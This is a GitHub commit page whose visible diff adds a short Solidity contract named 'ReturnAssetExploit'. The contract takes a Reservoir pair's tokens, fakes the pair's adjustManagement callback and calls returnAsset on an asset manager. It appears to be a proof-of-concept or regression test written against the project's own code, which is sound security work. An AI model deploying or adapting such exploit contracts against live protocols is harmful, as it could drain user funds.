-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
48 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.0; | ||
|
||
import "src/interfaces/IAssetManager.sol"; | ||
import { ReservoirPair } from "src/ReservoirPair.sol"; | ||
import { SafeTransferLib } from "solady/utils/SafeTransferLib.sol"; | ||
|
||
contract ReturnAssetExploit { | ||
using SafeTransferLib for address; | ||
|
||
IERC20 public token0; | ||
IERC20 public token1; | ||
|
||
constructor(ReservoirPair aPair) { | ||
token0 = aPair.token0(); | ||
token1 = aPair.token1(); | ||
} | ||
|
||
function adjustManagement(int256 token0Change, int256 token1Change) external { | ||
address(token0).safeTransferFrom(msg.sender, address(this), uint256(-token0Change)); | ||
address(token1).safeTransferFrom(msg.sender, address(this), uint256(-token1Change)); | ||
} | ||
|
||
function attack(IAssetManager aAssetManager) external { | ||
aAssetManager.returnAsset(false, 123555); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters